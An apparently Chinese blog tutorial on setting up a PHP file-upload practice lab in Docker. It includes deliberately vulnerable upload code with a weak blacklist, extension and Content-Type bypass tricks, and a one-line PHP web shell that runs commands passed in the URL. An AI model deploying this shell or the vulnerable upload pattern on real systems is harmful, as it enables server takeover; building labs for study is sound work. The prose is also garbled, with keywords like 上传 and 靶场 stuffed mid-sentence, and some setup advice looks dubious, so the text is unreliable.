当前位置: 当前位置:首页 > 时尚 > 文件上传靶场搭建正文

文件上传靶场搭建

作者:休闲 来源:综合 浏览: 【大 中 小】 发布时间:2026-10-17 06:16:03 评论数:

文件上传靶场的文件核心就一件事:给你一个能随便折腾的上传接口,让你把各种绕过手法全试一遍。上传我搭过不下十个这类环境,靶场最省事的搭建方案还是Docker加PHP,十分钟能跑起来,文件比在虚拟机里配Apache省心太多。上传

先说环境。靶场Ubuntu 22.04,搭建装好docker和docker-compose,文件剩下的上传交给镜像。我习惯用php:7.4-apache这个基础镜像,靶场原因是搭建它对老版本的函数兼容性好,比如move_uploaded_file配合$_FILES的文件经典写法不会出幺蛾子。别用php8,上传某些靶场代码里的靶场ereg或者mysql_*函数直接报错,调试起来烦人。

目录结构我这样摆:

upload-lab/ ├── docker-compose.yml ├── src/ │ ├── index.php │ ├── uploads/ │ └── flag.php └── Dockerfile

Dockerfile就三行:

FROM php:7.4-apache RUN docker-php-ext-install exif COPY src/ /var/www/html/ RUN chmod -R 777 /var/www/html/uploads

那个chmod 777别嫌粗暴,靶场要的就是上传后的文件能被Web访问到,权限卡太死反而绕不过去。我见过有人把uploads目录设成755,结果上传的php文件执行不了,白折腾半天。

docker-compose.yml更简单:

version: '3' services: web: build: . ports: - "8080:80" volumes: - ./src:/var/www/html

挂载卷是为了改代码不用重新build,直接刷新页面就行。端口用8080,免得跟本机已有的80冲突。

接下来是核心的index.php。我写了个最基础的上传逻辑,带黑名单过滤,方便演示绕过:

<?php $upload_dir = 'uploads/'; $blacklist = array('php', 'php3', 'php4', 'php5', 'phtml'); if ($_FILES) {  $filename = $_FILES['file']['name']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if (in_array(strtolower($ext), $blacklist)) {  die('不允许的文件类型'); } $dest = $upload_dir . $filename; if (move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {  echo "上传成功: $dest"; } } ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="上传"> </form>

这段代码故意留了三个漏洞:黑名单不全、没校验MIME、没重命名文件。你拿shell.php.jpg或者shell.pHp就能绕过去。我试过用Burp改Content-Type为image/jpeg,配合.htaccess文件让jpg被解析成php,效果一样好。

flag.php放个简单的:

<?php echo 'flag{ upload_bypass_success}'; ?>

上传一个内容为<?php system($_GET['cmd']); ?>的shell,访问uploads/shell.php?cmd=cat flag.php,拿到flag就算通关。

有个细节容易翻车:Apache默认不解析.php.jpg这种双后缀,你得确认mod_php加载了。我习惯在Dockerfile里加一句RUN a2enmod php7.4,虽然官方镜像默认开了,但手动确认一下不亏。

最后提一嘴,这种靶场别放公网。我去年在测试环境里挂了个类似的,第二天就被扫到,日志里全是POST /uploads/shell.php的请求。本地玩玩就行,真要共享,加个basic auth或者限制内网IP。

跑起来后访问http://localhost:8080,上传、抓包、改后缀,一套流程走完,你对文件上传漏洞的理解会比看十篇文章都扎实。